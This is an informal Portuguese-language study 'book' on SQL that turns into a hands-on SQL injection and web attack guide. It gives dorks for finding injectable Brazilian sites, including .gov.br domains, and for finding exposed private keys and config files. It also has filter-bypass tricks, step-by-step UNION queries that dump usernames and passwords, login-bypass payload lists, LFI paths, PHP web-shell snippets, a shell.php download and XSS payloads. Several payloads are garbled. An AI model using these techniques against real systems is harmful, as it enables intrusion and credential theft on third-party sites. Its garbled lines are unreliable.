Livro Sqlduck
Livro Sqlduck
OLÁ AQUI E O DUCKETTSTONE 🦆 ESPERO QUE FAÇA BOM USO DESDE LIVRO ENSINE E APLIQUE
SEMPRE!
Seleção: É como escolher alguns blocos específicos. Digamos que queremos apenas os
blocos de pessoas que gostam da cor azul. Isso é seleção.
Projeção: É como olhar apenas para partes específicas dos blocos. Se decidirmos que
só queremos saber os nomes das pessoas e não nos importamos com as cores ou os
animais favoritos, isso é projeção.
União: É como pegar dois conjuntos de blocos e juntá-los em um grande conjunto.
Diferença: É como pegar alguns blocos de um conjunto e remover os blocos que também
estão em outro conjunto.
Produto Cartesiano: É como fazer todos os pares possíveis de blocos de dois
conjuntos diferentes.
Cálculo relacional de tuplas: É como dizer "Quero todos os blocos de pessoas que
gostam da cor azul". Não nos importamos como encontramos esses blocos, só sabemos o
que queremos no final.
Cálculo relacional de domínio: É como dizer "Quero saber todos os nomes e cores
favoritas, mas não me importo com os animais favoritos". Novamente, não nos
importamos como chegamos lá, só sabemos o que queremos ver no final.
Imagine uma cidade de bonecos onde cada boneco pode pedir pizza através de um
telefone público.
Normalmente, eles ligam e dizem: "Gostaria de uma pizza de queijo, por favor." O
pizzaiolo ouve e faz a pizza.
Mas e se um boneco malvado chamasse e dissesse: "Gostaria de uma pizza de queijo, e
por favor, dê-me todas as pizzas que você tem." Se o pizzaiolo não estiver
prestando atenção, ele pode acabar dando todas as suas pizzas para o boneco
malvado.
Isso é como uma injeção SQL.
É quando alguém pede algo normal, mas adiciona algo extra :)
Consultas SQL: O coração do SQL são as consultas. A consulta mais básica, SELECT,
permite recuperar dados.
Juntamente com o SELECT, você pode usar várias cláusulas como WHERE (para filtrar
registros), GROUP BY (para agrupar registros) e ORDER BY (para ordenar registros).
SQL também oferece várias funções agregadas, como COUNT, SUM, AVG, MAX e MIN que
permitem executar operações em um conjunto de valores.
Joins SQL permite combinar dados de duas ou mais tabelas usando JOINs. Existem
vários tipos de JOINs - INNER JOIN, LEFT JOIN, RIGHT JOIN e FULL JOIN.
Injeção SQL é uma técnica de injeção de código que pode destruir o banco de dados.
Cassandra: Um banco de dados NoSQL altamente escalável projetado para lidar com
grandes volumes de dados distribuídos em muitos servidores.
CouchDB: Um banco de dados NoSQL orientado a documentos que usa JSON para armazenar
dados, JavaScript como sua linguagem de consulta usando MapReduce e HTTP para API.
Neo4j: Um banco de dados gráfico altamente escalável que usa a estrutura de grafos
para representar e armazenar dados. É especialmente útil para lidar com dados
interconectados complexos.
Riak: Um banco de dados distribuído NoSQL de código aberto que oferece alta
disponibilidade, tolerância a falhas, excelência operacional e facilidade de
escala.
---------------------------------------------------------------------------
COMANDOS
SELECT: Este comando é usado para selecionar dados de um banco de dados. Os dados
retornados são armazenados em uma tabela de resultados chamada conjunto de
resultados.
INSERT INTO: Este comando é usado para inserir novos dados em um banco de dados.
UPDATE: Este comando é usado para atualizar dados existentes em um banco de dados.
DELETE: Este comando é usado para excluir dados existentes de um banco de dados.
CREATE DATABASE: Este comando é usado vei para criar um novo banco de dados.
ALTER DATABASE: Este comando é usado vei para modificar um banco de dados
existente.
CREATE TABLE: Este comando é usado vei para criar uma nova tabela em um banco de
dados.
ALTER TABLE: Este comando é usado vei para modificar uma tabela existente em um
banco de dados.
DROP TABLE: Este comando é usado para excluir uma tabela existente em um banco de
dados.
CREATE INDEX: Este comando é usado para criar um índice (uma lista pesquisável de
registros) em uma tabela.
WHERE: Este comando é usado para filtrar os registros que satisfazem uma condição
específica.
ORDER BY: Este comando é usado vei para classificar os registros em um resultado de
consulta em ordem ascendente ou descendente.
GROUP BY: Este comando é usado para agrupar linhas que possuem os mesmos valores em
colunas especificadas.
JOIN: Este comando é usado para combinar linhas de duas ou mais tabelas, com base
em uma coluna relacionada entre eles.
IN: Utilizado para especificar vários valores possíveis em uma cláusula WHERE.
or: Esta entrada é uma tentativa de adicionar um OR sem uma condição, que pode
causar um erro ou comportamento inesperado na consulta SQL.
'or "': Este exemplo fecha a string de consulta atual e adiciona um OR, seguido por
uma nova string vazia. Dependendo de como a consulta é formulada, isso pode ser
usado para alterar a lógica da consulta SQL.
'or "8': Uma string não vazia. Dependendo de como a consulta SQL é formulada, a
presença de uma string não vazia após o OR pode mudar o comportamento da consulta.
' or "A': Outra variação do exemplo anterior com uma string diferente.
"or "*': Este exemplo tenta fechar a string de consulta atual e adicionar um OR,
seguido por uma nova string que começa com um asterisco. A presença do asterisco
pode mudar o comportamento da consulta, dependendo de como ela é formulada.
"or 1=1 limit 1 -: Este exemplo usa a condição "1=1", que é sempre verdadeira, para
alterar a lógica da consulta. A cláusula LIMIT 1 é usada para limitar o resultado a
um único registro, e o sinal de menos no final pode ser usado para comentar o
restante da consulta.
-: Este é um comentário em SQL. Tudo após o sinal de menos será ignorado pelo
interpretador SQL.
**"or '''.": Este exemplo é similar aos exemplos anteriores, mas inclui um ponto ao
final da string.
or true-: Esta entrada tenta adicionar um OR seguido por "true", que é sempre
verdadeiro, e então comentar o restante da consulta.
TIPOS DE SQLI:
In-band SQLi(classic)
Inferential SQLi(Blind)
Out-of-band SQLi
In-band SQLi (Clássico): Este é o tipo mais simples e comum de injeção SQL. Você
usa o mesmo canal de comunicação para lançar o ataque e coletar os resultados. Há
duas subcategorias importantes dentro dessa técnica:
SQLi Baseado em Erros: Você depende dos detalhes dos erros retornados pela
aplicação para entender a estrutura do banco de dados e assim realizar o ataque.
SQLi Baseado em União: Você utiliza a cláusula UNION SQL para combinar a resposta
de sua consulta injetada com a resposta de consultas originais do sistema.
Inferential SQLi (Cego): Neste caso, Você envia dados maliciosos para o servidor e
observa a resposta e o comportamento do servidor para aprender sobre a estrutura do
banco de dados. Você não vê a saída dos ataques diretamente, daí o termo "cego".
Existem dois tipos principais:
SQLi com Base em Tempo: Você faz uma pergunta ao banco de dados que faz com que ele
responda lentamente (por exemplo, fazendo-o esperar alguns segundos) ou
rapidamente, permitindo que Você deduza uma resposta verdadeira ou falsa.
SQLi Baseado em Booleano: Você faz uma pergunta ao banco de dados que resultará em
uma resposta diferente da aplicação, dependendo se a pergunta resultar em
verdadeiro ou falso.
Out-of-band SQLi: Este tipo de ataque é usado quando Você não pode usar o mesmo
canal de comunicação para lançar o ataque e coletar os resultados ou precisa de um
canal alternativo para uma comunicação mais eficiente ou para contornar as defesas
de segurança. Você utiliza recursos do servidor do banco de dados que permitem o
envio de dados para sistemas externos.
xp_cmdshell
Neste exemplo, a injeção SQL irá forçar o banco de dados a executar o comando
nslookup que realiza uma consulta DNS para meu.exemploze.com.
Você pode então, capturar a consulta DNS em meu.exemploze.com para obter as
informações que deseja. O que exatamente você poderia exfiltrar depende da
aplicação e da configuração do banco de dados.
Out-of-band SQLi pode ser muito mais complexo
-----------------------------------------------------------------------------------
--------
$id = $_GET['id'];
$sql = "SELECT * FROM produtos WHERE id = $id";
O apóstrofo extra faz com que a sintaxe SQL seja inválida e, se o erro SQL for
exibido na página é bença
PASSOS PRATICOS:
Encontrando Parâmetros
DORK: inurl:php?id= site: .br
inurl:php?id= site:*.br
Injeção de Código
http://exemploze.com/produto.php?id=7'
No entanto, para que o comando SQL injetado funcione como o esperado, Você deve
garantir que o restante da consulta SQL original não interfira com o comando
injetado
Os caracteres "--", "-- -", "-- +" e "-- +-" são usados para comentar o restante da
consulta SQL.
Exemplo: http://exemploze.com/produto.php?id=7' -- -
Union
ORDER BY
crescente ou decrescente
ORDER BY 1.
ORDER BY 2
“Unknown Order 8 in order clause”
ESTAMOS PROCURANDO 7 colunas
POREM ANTES ERRO
No entanto, se um erro for gerado, Você saberá que a tabela tem menos de dez
colunas. Você pode então reduzir o número na cláusula ORDER BY para determinar
exatamente quantas colunas a tabela tem.
Isso é útil para Você porque, uma vez que ele sabe quantas colunas a tabela tem,
ele poderá formar consultas SQL mais precisas para extrair dados ou alterar o
comportamento do banco de dados.
A cláusula GROUP BY em SQL é usada para agrupar linhas que possuem os mesmos
valores em colunas específicas.
Basicamente, é usado para consolidar dados duplicados em valores únicos.
Por exemplo, suponha que você tenha uma tabela chamada Pedidos com as seguintes
linhas:
Se você quiser saber a quantidade total de pedidos de cada cliente, você poderia
usar a cláusula GROUP BY
SELECT Cliente, SUM(Quantidade)
FROM Pedidos
GROUP BY Cliente;
Isso retornaria:
Cliente Total
João 70
Ana 20
Maria 40
Essa "senha" é especial. A parte 50000 diz ao guarda "só me deixe entrar se você
for versão 5.00.00 ou superior".
Se o guarda for versão 5.00.00 ou mais recente, ele deixa você entrar e o código
ORDER BY é executado.
Se o guarda for uma versão mais antiga, ele apenas ignora você, como se você
tivesse dito algo sem importância.
Em um cenário de injeção de SQL, você pode usar essa técnica para "enganar o
guarda" e inserir códigos maliciosos que só serão executados se a versão do MySQL
permitir.
É como se o tu estivesse dizendo "Ei guarda, se você for versão 5.00.00 ou
superior, deixe-me entrar e faça isso".
Se o guarda for da versão certa, ele deixa o aguado entrar que e você no caso e
executar a injeção.
/*!50000BY*/
/*!50000ORDER*/
/*!50000ORDER*/**_**/*/
/*!50000GROUP*/
/*!50000GROUP*/ **_**/*/
Vamos usar /*!50000ORDER BY*/ como exemplo aqui esse código seria interpretado como
um comentário regular por um interpretador SQL padrão, pois esta dentro de um bloco
de comentários /*...*/.
No entanto, o MySQL interpreta de forma diferente: se a versão do MySQL for 5.00.00
ou superior, ele interpretará e executará o código dentro do comentário, como se
fosse ORDER BY
**/ORDER/**/BY/**/100
Este comando é como uma cena de um filme de espionagem onde o agente secreto está
tentando se infiltrar na base inimiga sem ser detectado. O agente secreto aqui são
as palavras "ORDER" e "BY", escondidas nos comentários (/** **/), enquanto "100" é
o objetivo da missão
%23%0AORDER%23%0ABY%23%0A100
É como se você estivesse lendo um livro codificado. As palavras "ORDER" e "BY"
foram codificadas em percentual de URL (%23%0A é uma nova linha), tornando a
consulta mais difícil de ser detectada
/*!order/**/by*/1
Isso é como um ator que está tentando se disfarçar para um papel. O "!" no início
do comentário MySQL faz o servidor tratar o texto dentro do comentário como um
comando SQL real, enquanto os outros comentários em torno de "order" e "by" estão
lá para confundir qualquer filtro de segurança
ORDER+BY+100+ASC
Esta consulta é como se você estivesse falando em voz alta em uma sala cheia de
gente.
Não há nada de sutil sobre isso, você está basicamente dizendo ao servidor para
ordenar os resultados de acordo com a centésima coluna em ordem ascendente
AND+MOD(52,12)+/*1500000RDER*/ +BY+100
Aqui você está tentando resolver um enigma matemático e usar um truque de mágica ao
mesmo tempo. O "MOD(52,12)" é o enigma matemático, enquanto o restante do comando é
um truque de mágica que usa comentários para tornar o "ORDER" e o "BY" menos
perceptíveis
Mas por que usar isso em uma injeção SQL? A razão é colocar condições adicionais à
consulta SQL que não afetam o resultado final, mas ajudam a bypassar filtros de
segurança ou firewalls que podem estar procurando por certas palavras-chave SQL.
Além disso, AND+MOD(52,12) irá sempre avaliar para TRUE (como 52 módulo 12 resulta
em 4, que é interpretado como TRUE em um contexto booleano), por isso não altera os
resultados da consulta.
Existem muitas outras funções matemáticas que você poderia usar de maneira
semelhante, como AND 1=1 ou AND 2+2=4.
O ponto não é o cálculo em si, mas a adição de uma condição que sempre será
verdadeira para obter a execução desejada da consulta entedeu?
Por exemplo, OR 1=1 -- ignorará tudo após -- e fará a consulta sempre retornar
verdadeira.
Agora ataques de injeção SQL baseados em tempo, utilizam funções de tempo para
retardar a resposta do banco de dados, permitindo a você inferir se uma determinada
operação foi bem-sucedida.
Exemplo: AND IF(1=1, SLEEP(10), FALSE) fará o banco de dados esperar 10 segundos
antes de responder se a condição 1=1 for verdadeira.
DECODIFIQUE
hexadecimal: 5155412051544120515441
DESAFIO:
77 65 78 68 69 32 77 69 78 83 65 71 69 77 32 80 65 82 65 32 77 69 32 83 69 32 67 79
78 83 69 71 85 73 85
-----------------------------------------------------------------------------------
----------------
SELEÇÃO DE UNION
UNION SELECT 1,2,3: Aqui Você está tentando mesclar os resultados de uma segunda
consulta SQL (SELECT 1,2,3) com os resultados de uma consulta original, usando a
cláusula UNION. Nesse caso, eles estão simplesmente selecionando os números 1, 2 e
3.
UNION SELECT '1*2"3*: Neste caso, Você está selecionando uma string.
Este pode ser um teste para ver se caracteres especiais, como aspas e asteriscos,
são manipulados corretamente pela aplicação.
A intenção é fazer com que o servidor SQL trate o valor entre as aspas como uma
string em vez de um número ou uma expressão SQL válida
UNION (SELECT(1)): Novamente, Você está usando UNION para inserir uma segunda
consulta, mas desta vez eles estão selecionando 1 dentro de uma subconsulta.
Dependendo de como a aplicação lida com subconsultas, isso pode ter efeitos
diferentes.
Então, por que alguém faria isso?
Normalmente, você usaria este comando para testar se um site é vulnerável a injeção
de SQL.
Ao injetar UNION (SELECT(1)) em uma consulta, você está tentando fazer o site
retornar o valor "1" em algum lugar da página web.
Se o valor "1" aparecer, isso indica que a injeção de SQL pode ser possível
UNION SELECT ~1,~2,~3: Neste caso, Você está usando o operador '~', que é o
operador de negação de bits em SQL.
Isto irá inverter todos os bits de cada número, pode ser uma forma de ofuscar os
dados que estão sendo selecionados.
O operador ~ é um operador de bit a bit NOT em SQL, ele inverte todos os bits de um
número.
Por exemplo, ~1 produz -2, ~2 produz -3, e assim por diante.
Além disso, o uso de operações bit a bit pode ser uma maneira de obter resultados
não convencionais que podem passar despercebidos por algumas medidas de segurança.
Por exemplo, se uma aplicação tenta bloquear consultas contendo '1=1', Você pode
tentar usar '~0=0' em vez disso, que é logicamente a mesma consulta, mas pode
conseguir evitar os filtros de segurança
Quando falamos de "comentários estilo C", estamos nos referindo à forma como os
comentários são escritos na linguagem C.
Em C, você pode criar comentários de duas formas:
Comentários de linha única: Esses comentários começam com // e o compilador ignora
tudo após // até o final da linha.
Comentários de múltiplas linhas: Esses comentários começam com /* e terminam com
*/. O compilador ignora tudo entre esses símbolos, permitindo que você tenha
comentários que ocupem várias linhas.
Em SQL, também é possível usar comentários estilo C de múltiplas linhas (/* ...
*/), além de comentários de linha única com dois hífens (--)
---------------------------------------------------------------------------
DATABASE VERSION: Você pode querer conhecer a versão do banco de dados para
identificar possíveis vulnerabilidades específicas da versão. Uma consulta típica
pode ser algo como ' UNION SELECT VERSION(),2,3,4,5 -- '. Se o banco de dados for
vulnerável, ele retornará a versão do banco de dados.
DATABASE NAME: Da mesma forma, saber o nome do banco de dados pode ajudar Você a
construir consultas mais eficazes para extrair dados. Uma consulta típica pode ser
' UNION SELECT DATABASE(),2,3,4,5 -- '.
GET TABLES: Após descobrir o nome do banco de dados, o próximo passo para Você
seria descobrir as tabelas que o banco de dados contém. Uma consulta típica pode
ser ' UNION SELECT table_name,2 FROM information_schema.tables WHERE
table_schema=DATABASE() -- '.
GET COLUMNS: Depois que Você conhece as tabelas, ele vai querer saber quais colunas
essas tabelas contêm. Uma consulta típica pode ser ' UNION SELECT column_name,2
FROM information_schema.columns WHERE table_name='table' -- '.
DUMP DATA: Depois de conhecer a estrutura do banco de dados, Você vai querer
extrair dados. Uma consulta típica pode ser ' UNION SELECT * FROM table -- '
---------------------------------------------------------------------------
Local File Inclusion (LFI)
/etc/passwd: Este é o arquivo de senhas do sistema Unix, que contém uma lista de
contas de usuário.
/etc/hosts: Este arquivo é usado para mapear nomes de host para endereços IP.
../: Este é um caminho relativo que representa o diretório pai, que pode ser usado
para transversal de diretório.
%2f: Este é um encoding de URL para o caractere "/", que pode ser usado para bypass
de filtros que bloqueiam certos caracteres.
%2£??c%2f??s??d: Isto parece ser uma tentativa de usar o encoding de URL para
transversal de diretório, embora a sintaxe pareça incorreta.
%00: Este é um caractere nulo, que pode ser usado para terminar uma string
prematuramente em algumas situações.
---------------------------------------------------------------------------
is, id, uname, whoami, which python: Estes são comandos do shell do Unix que podem
ser usados para coletar informações sobre o sistema, como o nome do usuário atual e
a versão do Python instalada.
cat /etc/passwa: Este comando tenta exibir o conteúdo do arquivo /etc/passwd, que
contém informações sobre as contas de usuário no sistema Unix.
PHPinfo: Esta é uma função do PHP que exibe informações detalhadas sobre a
configuração do PHP no servidor, o que pode ajudar Você a identificar outras
possíveis vulnerabilidades.
<?php passthru('whoami'); ?>: Este é um script PHP que executa o comando 'whoami'
no servidor e retorna a saída. O comando 'whoami' exibe o nome do usuário que está
executando o script.
php create file .txt: Isto parece ser uma instrução para criar um arquivo .txt
usando PHP, embora a sintaxe esteja incorreta.
wget -O shell.php: Este é um comando Unix que tenta baixar um arquivo shell.php da
internet. Isso pode ser parte de um ataque de shell web, onde Você tenta fazer o
servidor baixar e executar um shell de comando malicioso.
‹?php system(Is);?>: Este é um script PHP que executa o comando Unix 'ls', que
lista os arquivos no diretório atual.
---------------------------------------------------------------------------
<IMG SRC-javascript:alert("XSS ")>: Aqui, Você está tentando abusar do atributo SRC
de uma tag IMG para executar código JavaScript. O uso do "javascript:" no atributo
SRC é uma forma de executar JavaScript quando a imagem é carregada.
<img src=foo.png onerror=alert (/ xssed/) />: Neste exemplo, Você tenta carregar
uma imagem que não existe (foo.png), de modo que o evento de erro é disparado.
Quando isso acontece, o código JavaScript no atributo "onerror" é executado.
------------------------------------------------------------------------------
String para URL Encoding: URL Encoding (também chamado de percent encoding) é um
mecanismo usado para converter caracteres não alfanuméricos em uma forma que pode
ser transmitida pela URL.
Por exemplo, o espaço em branco é codificado como '%20'.
A conversão reversa (URL decode) envolve converter esses códigos de volta para os
caracteres originais.
Às vezes, temos caracteres que a internet não gosta muito (como espaços e
símbolos).
Então, trocamos esses caracteres por outros que a internet acha mais fáceis de
entender
String para Base64: A codificação Base64 é usada para converter dados binários em
strings de texto ASCII.
É comumente usada quando há necessidade de codificar dados binários, especialmente
ao esses dados precisam ser armazenados e transferidos pela internet. Por exemplo,
a string 'hello' é codificada em Base64 como 'aGVsbG8='.
A conversão reversa (Base64 para String) envolve decodificar a string Base64 de
volta para a string original.
Se tivermos informações importantes que precisamos enviar pela internet, podemos
usar o Base64 para disfarçá-las e garantir que cheguem corretamente.
String para Binário: A conversão de uma string para binário envolve a substituição
de cada caractere por seu equivalente em código binário.
Por exemplo, a letra 'a' é representada pelo valor binário '01100001'.
A conversão reversa (Binário para String) envolve a conversão desses códigos
binários de volta para seus caracteres correspondentes.
Às vezes, precisamos ver as palavras como o computador vê - em 0s e 1s. Então,
transformamos palavras em binário e de volta para palavras
String para CHR: Converter uma string para CHR significa representar cada caractere
da string por seu valor ASCII correspondente.
A função CHR pega um número que representa um valor ASCII e retorna o caractere
correspondente. Por exemplo, CHR(97) retornaria 'a'.
A conversão reversa envolve a substituição desses códigos ASCII pelos caracteres
correspondentes.
String para SHA-1 e String para MD5: Estes são exemplos de funções hash
criptográficas. Quando uma string é convertida usando uma função hash, ela produz
um valor fixo, chamado de hashhhhhhhhhhh.
Por exemplo, o hash MD5 da string 'hello' é '5d41402abc4b2a76b9719d911017c592'.
As funções hash são usadas para verificar a integridade dos dados, mas não são
reversíveis, ou seja, você não pode converter o hash de volta para a string
original.
locura né vei mas bom demaize!
--
--
--
--
--
HTML EM QUERY
"<br/>"
"<h2>"
"<h2/>"
"<font color=yellow>"
"font/>"
"<p> e </p>"
"<img src="URL">"
"<strong>"
"</strong>"
"<em>"
"</em>"
Termos
0x00 byte nulo, que não tem valor
@ curso ou ponteiro em linguagem sql
Tabelas derivadas |
concat([userful info],[query])
concat([userful info],(select (@x) from()x))
---------------------------------------------------------------------------
http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,7,8,9(database(),version(),user())
http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,
group_concat(table_name,<br>),8,9 from information_schema.tables where
table_schema=database()
OUTRO PASSO
http://example.com/exemplo.php?id=7'
UNION SELECT = 1,2,3,4,5,6,
group_concat(table_name,<br>),8,9 from
information_schema.columns where table_name=[table_name]
OUTRO PASSO
http://example.com/exemplo.php?id=7'
UNION SELECT =
1,2,3,4,5,6,group_concat(id,*,username,*,password),8,9 from [column_name]
from [column_name]: Neste caso, [column_name] deve ser substituído pelo nome da
tabela de onde Você deseja extrair informações.
Por exemplo, poderia ser uma tabela que contém informações de usuários, como users.
Estamos listando todos os IDs, nomes de usuários e senhas da tabela especificada.
-----------------------------------------------------------------------------------
-----
Por exemplo, uma dork pode ser usado para encontrar páginas que possam estar
vulneráveis a injeção SQL, encontrando URLs que incluem parâmetros de consulta SQL
na string da URL.
CRIANDO
As aspas duplas (") são usadas em pesquisas para indicar que você deseja pesquisar
a frase exata que está entre as aspas
inurl:login intext:admin filetype:php: Dork pode ser usado para encontrar páginas
de login (KW) que possuem a palavra 'admin' (PF) no texto e são do tipo de arquivo
PHP (PT).
Usar caracteres coringa: O caracter "*" pode ser usado como um coringa para
representar qualquer palavra ou frase.
Isso pode tornar sua Dork mais flexível e abrangente ela e mais direta tlgd.
Você pode usar parênteses para agrupar várias condições juntas.
Por exemplo, (inurl:login | inurl:admin) intext:password filetype:txt e por ai vai.
intext: - Pesquisar nas páginas da web pelo texto exato que você especificar.
site: - Pesquisa um domínio específico
intitle: - Pesquisa por páginas cujos títulos contêm a palavra-chave especificada
allintitle: - Semelhante ao intitle:, mas retorna apenas páginas que contêm todas
as palavras-chave especificadas no título
inurl: - Pesquisa nas URLs das páginas da web pelo texto exato que você especificar
allintext: - Pesquisa por páginas que contêm todas as palavras-chave especificadas
em algum lugar do texto
filetype: - Este operador procura arquivos de um tipo específico
define: - Este operador pede ao Google para mostrar a definição da
palavra(define:ovo mostrará a definição da palavra "ovo")
cache: - Mostra a versão em cache de uma página da web.
link: - Este operador mostra páginas que apontam para um URL específico
related: - Este operador lista páginas da web que são "semelhantes" a um URL
especificado
info: - Apresenta informações que o Google tem sobre uma página da web
php, php4, php3: São os arquivos do bom e velho PHP. Um monte de sites usa isso
para fazer tudo funcionar.
asp, aspx: Isso aí é coisa da Microsoft. Eles usam essas extensões nos seus sites.
html, htm: Esse é o pão com manteiga da internet. Todo site tem um pouco de HTML.
jsp: Isso aí é quando os sites querem se vestir de Java. É outra maneira de fazer
as coisas funcionarem.
cgi: É um jeito antigo de fazer as coisas na web, mas ainda tem um monte de site
que usa.
cfm: Essa é a extensão dos arquivos feitos no ColdFusion, que é uma ferramenta da
Adobe.
flv: Isso aí é vídeo em Flash. Antigamente era muito usado, mas hoje em dia nem
tanto.
pdf: Esses são os documentos que você baixa quando precisa imprimir alguma coisa.
Tudo que é formulário está nesse formato.
jsf: Isso é um tipo de arquivo usado em sites que foram feitos com JavaServer
Faces.
psml: Essa extensão é de um tipo de documento usado pelo PageSeeder.
raw: Esse é o tipo de arquivo de imagem que não foi mexido, é a foto pura, sem
edição.
file: Qualquer tipo de arquivo.
tss: Estilo TypeScript.
blog: Onde as pessoas compartilham suas histórias e ideias.
PREFIXO SEMPRE BR
.com.br
.br
.gov.br
.edu.br
.org.br
.net.br
.saude.br
Cada um destes domínios dá uma indicação do tipo de organização que mantém o site
A DUCK 🦆 MAS SO VEM BUSCA OFICIAL DA NIKE.COM RETIRE ELA POR EXEMPLO
intext:"tênis" "Nike" site:.com.br -site:nike.com.br
PARÂMETROS EM URLS
inurl:"?asp=" site:.com.br - busca URLs com o parâmetro "?asp="
inurl:"?id=" site:.com.br - busca URLs com o parâmetro "?id="
inurl:"?register=" site:.com.br - busca URLs com o parâmetro "?register="
inurl:"?login=" site:.com.br - busca URLs com o parâmetro "?login="
inurl:"?item=" site:.com.br - Busca URLs com o parâmetro "?item="
inurl:"?produto=" site:.com.br - Busca URLs com o parâmetro "?produto="
inurl:"?perfil=" site:.com.br - Busca URLs com o parâmetro "?perfil="
inurl:"?categoria=" site:.com.br - Busca URLs com o parâmetro "?categoria="
inurl:"?pagina=" site:.com.br - Busca URLs com o parâmetro "?pagina="
inurl:"?post=" site:.com.br - Busca URLs com o parâmetro "?post="
inurl:"?artigo=" site:.br - Busca por URLs com o parâmetro "?artigo="
inurl:"?postagem=" site:.br - Busca por URLs com o parâmetro "?postagem="
inurl:"?usuario=" site:.br - Busca por URLs com o parâmetro "?usuario="
inurl:"?pasta=" site:.br - Busca por URLs com o parâmetro "?pasta="
inurl:"?arquivo=" site:.br - Busca por URLs com o parâmetro "?arquivo="
inurl:"?pagina=" site:.br - Busca por URLs com o parâmetro "?pagina="
SIMPLEFIQUE E ACRESCENTE!
inurl:/wp-content/plugins/wp-job-manager/
inurl:/wp-content/themes/
inurl:/wp-content/themes/blinc/
inurl:/sites/default/files/up.php
filename:.env MAIL_HOST=smtp.gmail.com
filename:.esmtprc password
filename:.remote-sync.json
filename:.ftpconfig
filename:sftp-config.json
filename:id_rsa or filename:id_dsa
filename:sshd_config
inurk:/admin/ ext:php
"shopping portal" "my account"
inurl:/login.php "shopping portal" "sign up"
EXPLOIT :
.com/admin
USUARIO E SENHA:
' or 1=1 limit 1 -- -+
Payloads pra bypass o login via XPath, LDAP/SQL injection
admin
root
guest
test
' or '1'='1
' or ''='
" or ""*"
or true--
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
' or 0=0 –
" or 0=0 --
" or 0=0 #
" or 0=0 –
Suponha que temos um site que permite que os usuários façam login.
Atrás das cenas, quando um usuário tenta fazer login, o site cria uma consulta SQL
que se parece com isto:
SELECT * FROM users WHERE username = 'USERNAME' AND password = 'PASSWORD';
Aqui, USERNAME e PASSWORD são substituídos pelas entradas fornecidas pelo usuário.
Agora, suponha que você entre com o seguinte campo no nome de usuário:
' OR '1'='1
Devido à forma como a lógica OR funciona em SQL, a consulta agora está efetivamente
pedindo ao banco de dados para retornar todos os usuários onde o nome de usuário é
vazio ou 1=1 (que é sempre verdadeiro)
Por exemplo, considere uma URL que leva a um item específico em uma loja online,
como https://www.meuexemploze.com/produto?id=123. Se a aplicação não validar
adequadamente o parâmetro id, você pode ser capaz de alterar a URL para
https://www.meuexemploze.com/produto?id=123 OR 1=1
Potencialmente ganhando acesso a todos os produtos na loja.
Imagine que você é um super-herói que protege a cidade dos terríveis vilões
cibernéticos.
Seus poderes vêm das práticas de segurança na web.
Agora, vamos conhecer alguns desses vilões e como combatê-los!
O Injetor: Este vilão é conhecido por transformar dados inofensivos em terríveis
comandos de código.
Ele pode usar injeção de SQL, injeção de scripts do lado do servidor ou injeção de
scripts do lado do cliente para causar estragos em seu sistema.
O Cookie Monster: Este não é o adorável monstro azul que adora biscoitos. Este
monstro adora roubar e manipular cookies. Ele pode ler ou alterar
O Brutamontes: Este vilão não é conhecido por ser sutil. Ele vai continuar tentando
adivinhar suas credenciais até acertar. Como você para um vilão que não sabe
desistir? Limite o número de tentativas de login kkkkkkkkkkkkk
BOM POSSIVELMENTE ESQUECI BASTANTE COISA MAS AGORA VAI DO SEU DESEMPENHO, NÃO
EXISTE LIMITAÇOES
ESSE FOI UM CURTO RESUMO DOS NOSSOS ESTUDOS ATÉ A PROXIMA!